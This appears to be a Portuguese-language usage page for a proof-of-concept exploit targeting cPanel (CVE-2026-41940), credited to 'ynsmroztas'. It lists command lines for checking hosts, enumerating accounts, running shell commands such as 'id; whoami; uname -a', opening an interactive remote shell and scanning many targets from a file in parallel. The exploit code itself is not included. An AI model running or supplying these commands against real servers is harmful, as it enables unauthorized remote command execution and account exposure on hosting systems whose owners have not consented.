
Prova de conceito de exploit para CVE-2026-41940 direcionado ao cPanel, permitindo enumeração de contas, execução de comandos e acesso interativo a shell em hosts vulneráveis.
python3 poc_CVE-2026-41940.py -h
Verificar um único host
python3 poc_CVE-2026-41940.py -u https://target.example:2086
Listar contas após a cadeia bem-sucedida
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action list
Executar um comando de shell
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action cmd --cmd 'id; whoami; uname -a'
Shell interativo
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action shell
Alvos a partir de arquivo + relatório JSON
python3 poc_CVE-2026-41940.py -l targets.txt -t 20 -o results.json
ref : ynsmroztas